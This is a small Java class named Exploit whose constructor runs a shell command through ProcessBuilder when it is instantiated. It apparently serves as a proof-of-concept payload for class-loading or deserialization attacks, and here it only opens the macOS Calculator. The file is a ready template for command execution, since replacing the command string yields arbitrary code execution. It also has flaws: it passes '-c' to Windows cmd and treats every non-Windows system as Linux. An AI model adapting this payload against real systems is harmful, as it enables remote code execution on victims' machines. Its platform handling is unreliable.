package util;


public class Exploit {
    public Exploit(){
        try{
            String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
            java.util.ArrayList commands = new java.util.ArrayList();
            boolean isLinux = true;
            java.lang.String osType = System.getProperty("os.name");
            if(osType != null && osType.toLowerCase().contains("win")){
                isLinux = false;
            }

            if(isLinux) {
                commands.add("/bin/bash");
                commands.add("-c");
                commands.add(cmd);
            }else {
                commands.add("cmd");
                commands.add("-c");
                commands.add(cmd);
            }

            java.lang.ProcessBuilder processBuilder = new java.lang.ProcessBuilder(commands);
            java.lang.Process pc = processBuilder.start();
            pc.waitFor();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}